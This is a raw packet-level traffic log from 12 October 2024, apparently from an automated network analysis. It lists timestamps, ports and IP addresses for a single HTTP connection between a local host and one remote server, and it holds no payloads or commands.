Oct 12, 2024 14:17:09.282135010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.282155991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.282179117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.282187939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.282197952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.282219887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.282227993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.282254934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.282263041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.282300949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287431955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287456036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287478924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287488937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287492990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287507057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287512064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287520885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287539959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287563086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287569046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287585020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287592888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287599087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287621021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287622929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287636995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287650108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287657976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287664890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287678003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287683010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287691116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287702084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287719965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287729025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287740946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287754059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287761927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287769079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287776947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287784100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287798882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287801027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287811995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287818909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287826061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287832975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287839890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287854910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287857056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287870884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.287874937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287904024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287925005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.287942886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.288279057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.367816925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.367867947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.367889881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.367904902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.367927074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.367942095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.367959976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.367974997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368005991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368021011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368055105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368081093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368086100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368108034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368119955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368129015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368150949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368217945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368227005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368232012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368274927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368313074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368340969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368360996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368380070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368391991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368447065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368458033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368494034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368494987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368525982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368539095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368622065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368633032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368663073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368674994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368702888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368716955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368735075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368745089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368783951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368788004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368832111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368834019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368864059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368889093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368908882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.368911982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.368987083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369002104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369035006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369035959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369083881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369086027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369129896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369131088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369164944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369174957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369194984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369199038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369229078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369255066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369262934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369275093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369294882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369321108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369340897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369345903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369374037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369386911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369405985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369415998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369452000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369457006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369487047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369498968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369529963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369538069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369584084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369585037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369616985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369627953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369647980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369680882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369689941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369709969 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369728088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369729042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369760990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369766951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369792938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369818926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369826078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369836092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369873047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369887114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369919062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.369921923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369968891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.369976997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370001078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370029926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370033026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370057106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370064974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370070934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370095968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370126963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370131016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370146036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370161057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370173931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370193005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370203972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370224953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370238066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370258093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370268106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370289087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370300055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370321035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370330095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370352030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370377064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370383978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370393038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370415926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370429039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370448112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370455980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370477915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370506048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370511055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370521069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370543003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370557070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370574951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370580912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370604992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370615959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370636940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370646954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370663881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370688915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370697021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370707989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370728970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370738983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370759964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370780945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370790958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370799065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370821953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370843887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370852947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370862961 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370883942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370909929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370918036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370928049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370949030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370963097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.370980978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.370986938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.371012926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.371026039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.371042967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.371048927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.371076107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.371084929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.371108055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376347065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376379967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376413107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376430035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376432896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376461029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376483917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376507998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376508951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376539946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376564980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376574039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376584053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376621008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376631021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376653910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376662016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376686096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376708984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376727104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376734972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376765966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376770973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376804113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376820087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376864910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376867056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376899958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376919031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376938105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.376948118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.376981020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377003908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377007961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377027988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377039909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377049923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377073050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377077103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377103090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377120972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377132893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377140045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377163887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377177000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377194881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377204895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377226114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377233982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377259016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377264977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377290010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377296925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377321005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377335072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377351999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.377358913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.377394915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457190990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457240105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457278013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457331896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457365990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457397938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457400084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457400084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457400084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457400084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457449913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457482100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457482100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457484007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457503080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457535028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457535982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457566977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457591057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457600117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457609892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457648993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457652092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457683086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457703114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457732916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457747936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457782030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457784891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457813978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457834005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457849026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457858086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457889080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457912922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457921982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457937002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.457954884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457988977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.457993031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458017111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458019018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458038092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458065987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458066940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.458098888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.458131075 CEST	80	49730	178.63.215.77	192.168.2.4
